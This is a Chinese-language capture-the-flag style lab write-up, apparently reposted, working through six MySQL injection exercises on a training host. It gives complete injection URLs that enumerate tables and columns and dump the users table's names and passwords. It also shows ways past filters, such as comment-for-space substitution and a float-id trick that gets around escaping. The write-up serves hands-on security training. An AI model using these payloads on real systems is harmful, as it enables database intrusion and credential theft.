mysql注入合天實驗室靶場


mysql注入合天實驗室靶場

實例一、熱身運動,不設防

      關鍵代碼:

     

      本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;

think:從代碼看name傳參是字符串型,傳入的字符有單引號保護,未對傳參進行任何過濾和檢測。

do it:

http:10.1.1.11:81/sqli/example1.php?name=root

http:10.1.1.11:81/sqli/example1.php?name=root'

http:10.1.1.11:81/sqli/example1.php?name=root' order by 5--+

 

 

 說明有五個字段,那么我們直接進行聯合查詢。

http:10.1.1.11:81/sqli/example1.php?name=root' order by 5--+

http:10.1.1.11:81/sqli/example1.php?name=root’ union select 1,2,3,4,5--+

http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),user(),group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+

 

 

 

 

 拿到表名:users

那我們繼續查字段

http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),user(),group_concat(column_name),4,5 from information_schema.columns where table_name='users'--+

 

 

存在id,name,age,groupid,passwd字段

那我們再繼續name和passwd

http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),name,passwd,4,5 from users--+

 

 就得到我們name和passwd

實例二、節約是種美德,少用空格

      關鍵代碼:

     

      本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;

 正則匹配不能使用空格,那我們可以使用/**/代替,因為此處不能用空格那么我們的注釋就不能用--+因為+也會被當成空格

do it:

http:10.1.1.11:81/sqli/example2.php?name=root’/**/union/**/select/**/database(),name,passwd,4,5/**/from/**/users%23

 

 

實例三、繼承美德,不用空格

      關鍵代碼:

     

      本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;

 

這里有個正則匹配\s+

\s 是匹配空白字符

+是匹配前面的子表達式一次或多次

那么我們這個里還可以使用/**/來繞過

do it:

http:10.1.1.11:81/sqli/example3.php?name=root’/**/union/**/select/**/database(),name,passwd,4,5/**/from/**/users%23

 

實例四、看仔細點,別被嚇壞了

      關鍵代碼:

     

      本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;

這里使用了mysql_real_escape_string函數轉義字符

 

mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。

 

下列字符受影響:

 

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

 

這里我們就不能使用‘ “ 

 

我們可以使用浮點型來讓其報錯執行我們的聯合查詢語句

http:10.1.1.11:81/sqli/example4.php?id=2.1 union select database(),name,passwd,4,5 from users%23

 

實例五、這個規則沒多大意義

      關鍵代碼:

     

      本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;

 這里也有一個正則匹配id傳參的開頭必須是數字,那么我們上題的payload一樣可以滿足

http:10.1.1.11:81/sqli/example5.php?id=2.1 union select database(),name,passwd,4,5 from users%23

 

實例六、想用工具沒門

      關鍵代碼:

     

      本例任務:嘗試進行sql注入,目標為得到數據庫中的用戶名與密碼,並對你的sql注入測試語句及簡單說明;

本題是正則匹配我們輸入的結尾必須全是數字型的,那么我們這里就直接使用%231結尾就可以繞過了

 http:10.1.1.11:81/sqli/example5.php?id=2.1 union select database(),name,passwd,4,5 from users%231

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM